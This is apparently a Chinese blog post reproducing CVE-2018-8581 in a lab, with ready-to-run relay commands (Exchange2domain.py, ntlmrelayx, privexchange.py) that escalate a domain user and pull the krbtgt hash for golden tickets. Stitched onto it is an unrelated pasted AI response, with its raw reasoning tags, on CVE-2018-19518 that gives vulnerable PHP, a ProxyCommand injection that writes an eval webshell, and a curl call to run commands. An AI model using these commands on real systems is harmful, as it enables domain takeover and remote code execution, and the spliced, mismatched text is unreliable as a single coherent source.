CVE-2018-8581复现

漏洞描述:

Exchange Server于2018年11月份被爆出存在SSRF漏洞,可以伪造任意用户。但在之后又被爆出另外一种攻击方式,可以使用任意域内用户通过NTML Relay获取到krbtgt的hash。该hash可用于制作黄金票据,最后可以达到全域通畅的效果。

影响范围:

Exchange 2010、Exchange 2013、Exchange 2016

漏洞复现:

环境:
DC Windows 2012 (192.168.52.3/ad01.qfdomain.com)
Exchange 2013 Windows 2012 (192.168.52.4/mail.qfdomain.com)
Attack Parrot (192.168.52.101)

攻击方式一:

python Exchange2domain.py -ah 192.168.52.101 -ap 80 -u attack -p "attack" -d qfdomain.com -th 192.168.52.3  192.168.52.4 --no-ssl

一键获取krbtgt的hash

image.png

攻击方式二
一、开启反射监听

 python2 ntlmrelayx.py -t ldap://192.168.52.3 --escalate-user attack

monitor
二、开启攻击

python2 privexchange.py -ah 192.168.52.101 mail.qfdomain.com -u attack -p "attack" -d qfdomain.com --no-ssl --debug

attack
三、如果攻击成功,那么会在我们的监听端看到DC反连我们的信息

image.png

四、拉取HASH

image.png

<think>好的,用户想要复现CVE-2018-19518漏洞。首先我需要回忆这个漏洞的具体情况。根据引用中的信息,这个漏洞与PHP的imap扩展有关,存在远程命令执行的可能。用户提供的引用[2]提到初始界面是邮箱登录,有三个参数:邮箱、账号、密码,这可能涉及到利用IMAP协议处理时的漏洞。 首先,我需要确定漏洞的原理。CVE-2018-19518是由于PHP的imap_open函数未正确过滤传入的参数,导致攻击者可以注入恶意命令。引用[4]和[5]提到发送特定的EXP来利用,比如在邮箱地址参数中插入管道符号执行系统命令。例如,构造邮箱参数为“vulnerable -oProxyCommand=echo...”,这样imap_open在处理时会执行该命令。 接下来是复现步骤。根据引用[5],复现环境需要PHP安装了imap扩展,并且存在漏洞版本(PHP 5.x到7.x某些版本)。搭建一个简单的PHP页面,使用imap_open函数连接邮箱服务器。攻击者可以在邮箱地址处注入恶意命令,比如执行echo写入webshell到服务器,如生成e.php文件。然后通过访问该文件,使用POST参数1执行任意命令。 此外,用户可能需要搭建测试环境,比如使用Docker容器来配置PHP和imap扩展,确保环境隔离。同时,需要注意漏洞利用的具体参数构造,以及如何绕过可能的过滤措施。引用中提到的Repeater模块发送EXP,可能是指使用Burp Suite等工具拦截请求并修改参数,插入恶意代码。 最后,生成相关问题时需要考虑用户可能的后续需求,比如环境搭建的详细步骤、漏洞原理的深入解释、其他相关漏洞的关联,以及如何防御此类攻击。需要确保回答结构清晰,步骤明确,并且提醒用户合法授权的重要性,避免法律风险。</think>### CVE-2018-19518漏洞复现步骤 #### 1. 漏洞背景 CVE-2018-19518是PHP的`imap_open`函数因未正确过滤用户输入导致的远程命令执行漏洞。攻击者可通过构造恶意邮箱参数注入系统命令,实现任意代码执行[^4][^5]。 #### 2. 环境准备 - **漏洞环境**:PHP 5.x/7.x(需启用`imap`扩展),例如: ```bash docker run -d -p 80:80 --name vuln_env php:5.6-apache docker exec vuln_env apt-get update && docker exec vuln_env apt-get install -y libc-client-dev libkrb5-dev && docker exec vuln_env docker-php-ext-configure imap --with-kerberos --with-imap-ssl && docker exec vuln_env docker-php-ext-install imap ``` - **靶场代码**:创建`index.php`文件,内容如下: ```php <?php $server = $_POST['server']; $user = $_POST['user']; $pass = $_POST['pass']; $mbox = imap_open("{" . $server . "}INBOX", $user, $pass); imap_close($mbox); ?> ``` #### 3. 漏洞利用 1. **构造恶意请求**:通过`ProxyCommand`参数注入命令。例如写入Webshell: ```bash # 邮箱服务器参数注入(示例) server=localhost:143/user=test/password=test -oProxyCommand=echo '<?php eval($_POST[1]);' > /var/www/html/e.php ``` - 使用Burp Suite或Postman发送POST请求,参数中插入上述payload[^5]。 2. **验证利用结果**: - 访问`http://目标IP/e.php`,通过POST参数`1`执行命令: ```bash curl -X POST -d "1=system('id');" http://目标IP/e.php ``` - 若返回当前用户权限信息,则漏洞利用成功。 #### 4. 防御建议 - 升级PHP至安全版本(>=7.2.15或>=7.3.2)。 - 禁用`imap`扩展或过滤用户输入中的特殊字符(如`()`、反引号、`|`等)。 ---
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值